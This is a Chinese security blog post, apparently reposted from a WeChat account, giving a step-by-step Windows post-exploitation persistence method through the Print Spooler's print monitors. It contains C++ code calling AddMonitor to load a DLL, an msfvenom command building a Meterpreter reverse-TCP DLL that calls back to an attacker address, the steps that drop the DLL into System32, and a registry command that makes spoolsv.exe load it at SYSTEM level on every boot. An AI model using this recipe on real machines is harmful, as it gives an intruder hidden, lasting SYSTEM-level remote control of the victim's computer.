一种后渗透阶段权限维持方法

  • A+
所属分类:安全文章

0x01 项目地址

https://github.com/Al1ex/Monitor


0x02 项目说明

用于实现后渗透测试阶段权限维持


0x03 项目使用

Step1:下载该项目,之后使用VS编译Monitor.cpp,当然也可以使用编译好的,Monitor.cpp代码如下所示:

#include "Windows.h"int main() {  MONITOR_INFO_2 monitorInfo;  TCHAR env[12] = TEXT("Windows x64");  TCHAR name[12] = TEXT("Monitor");  TCHAR dll[12] = TEXT("test.dll");  monitorInfo.pName = name;  monitorInfo.pEnvironment = env;  monitorInfo.pDLLName = dll;  AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);return 0;}


  • pName:监视器名称

  • pEnvironment:环境架构

  • pDLLName:监视器DLL文件的名称


Step 2:使用Msfvenom生成dll攻击载荷:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll

一种后渗透阶段权限维持方法


Step 3:将shell.dll复制到目标主机的system32目录下,之后重命名为test.dll(也就是上面的PDLLName,你也可以自己修改为自己喜欢的,总之随意)

copy C:tempshell.dll C:WindowsSystem32test.dll

一种后渗透阶段权限维持方法


Step 4:之后进入system32目录,并执行以下命令(Monitors.exe为之前编译好的文件,也需要放置到system32目录下):

Monitors.exe
一种后渗透阶段权限维持方法


Step 5:之后成功接收到Meterpreter会话

一种后渗透阶段权限维持方法


0x04 持久化实现

为了实现持久性,我们需要在"Monitors"注册表位置下设置一个key:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlPrintMonitors


之后在命令行下执行以下命令创建一个注册表项,该注册表项将包含值test.dll,从编辑器中查看注册表验证密钥是否已创建:

reg add "hklmsystemcurrentcontrolsetcontrolprintmonitorsPentestlab" /v "Driver" /d "test.dll" /t REG_SZ
一种后渗透阶段权限维持方法


下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32中的所有驱动程序DLL文件


下图演示了Meterpreter会话已建立与Print Spooler服务(SYSTEM)相同级别的特权,并且已从System32文件夹执行了

一种后渗透阶段权限维持方法




只需关注公众号并回复“9527”即可获取一套HTB靶场学习文档和视频,1120”获取安全参考等安全杂志PDF电子版,1208”获取个人常用高效爆破字典0221”获取2020年酒仙桥文章打包还在等什么?赶紧关注学习吧!


推 荐 阅 读




一种后渗透阶段权限维持方法
一种后渗透阶段权限维持方法
一种后渗透阶段权限维持方法

欢 迎 私 下 骚 扰



一种后渗透阶段权限维持方法

本文始发于微信公众号(潇湘信安):一种后渗透阶段权限维持方法

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: